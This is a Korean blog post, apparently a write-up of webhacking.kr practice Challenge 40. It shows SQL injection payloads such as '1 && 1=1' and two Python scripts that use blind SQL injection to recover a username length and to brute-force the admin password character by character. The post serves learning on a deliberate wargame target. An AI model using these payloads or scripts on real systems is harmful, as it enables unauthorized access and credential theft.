늘모자란, 개발 :: [webhacking.kr] Challenge 40

늘모자란, 개발



500점이나 되는 고득점 찬스..
세개 전부 다 맞춰야 로그인이 되는 듯 보인다. 역시 admin으로 로그인하는게 goal일듯 싶다.
근데 대강 막 넣어봐도 Failure이라고만 뜨고 힌트가 없다.

no를 다르게 하고 id를 다르게 하고 pw를 다르게 해도 오류메세지가 전부 같았다. 으찌된 일이란말인가... 뭐 하라는것인지 감도 안잡혔다
일단 no에 간단한 구문을 넣어보았다.

1 or 1=1


Access Denied가 나왔다.

1 && 1=1

는 된다 헐ㅋ

이제 true와 false를 알아낼 방법이 생겼다. 아마도...
간단히 쿼리문을 생각해보면

select * from table where no=1&&1=1 and id=guest and pw=guest


뭐 이런 느낌일까?
blind sql injection이 되는지 확인하기 위해서 몇가지 테스트를 해보기로 한다.

no 1의 guest는 5자리의 아이디니까, length가 5가 나오면 성공이라 할 수 있겠다.

#!/usr/bin/env python
# -*- coding: utf8 -*-
  
import urllib, urllib2, re
  
sess = ""
 
headers = {'Host': 'webhacking.kr',
           'Cookie': "PHPSESSID={}".format(sess)
          }
pw = ''
for i in range(1,10):
    #for j in range(97,123):
    url = 'http://webhacking.kr/challenge/web/web-29/index.php?no=1%26%26length%28id%29%3D{}&id=guest&pw=guest'.format(i)
    req = urllib2.Request(url, '', headers)
    response = urllib2.urlopen(req).read()

    if ("Success" in response):
        print "!", i
 


5가 나온다. 된다. 여기서 한참헤맸는데..처음엔 주석으로 처리해서 넘으려고 #랑 --등 다해봤는데 안된다.

그리고 반전 아닌 반전이 잇는데
위 소스 고대로 하면 죽었다 깨어나도 2 row의 아이디를 알아낼 수가 없다. 왜냐면 admin에 매치가 되면, admin page가 따로 있기 때문이다! (빠밤)...



돌아오는 response를 확인안하면 절대 알 수가 없다 ㅡㅡ 당연히 Success일거라 생각했는데.. 어쨌뜬 Success가 아니라 admin으로 필터링하면 아이디가 admin인것을 알 수 있다.

이제 질의시간이 남았다

#!/usr/bin/env python
# -*- coding: utf8 -*-
  
import urllib, urllib2, re
  
sess = ""
 
headers = {'Host': 'webhacking.kr',
           'Cookie': "PHPSESSID={}".format(sess)
          }
pw = ''
for i in range(1,15):
    for j in range(92,123):
        url = 'http://webhacking.kr/challenge/web/web-29/index.php?no=2%7C%7Csubstr%28pw%2C{}%2C1%29%3D{}&id=guest&pw=guest'.format(i,hex(j))
        req = urllib2.Request(url, '', headers)
        response = urllib2.urlopen(req).read()
        #print response

        if ("admin" in response):
            pw = pw + chr(j)
print pw


비밀번호 length까지 알아내면 좋겠지만 그건 귀찮으니 넘어가고. 이대로 돌리면 글자가 한개가 안나오는데 ㅡㅡ
이건 guest의 비밀번호와 같아서 생기는 문제라고 한다. 어떻게 처리하면 되긴하겠지만.. 그냥 관대하게 넘어가도록 하자.


2016/04/02 07:42 2016/04/02 07:42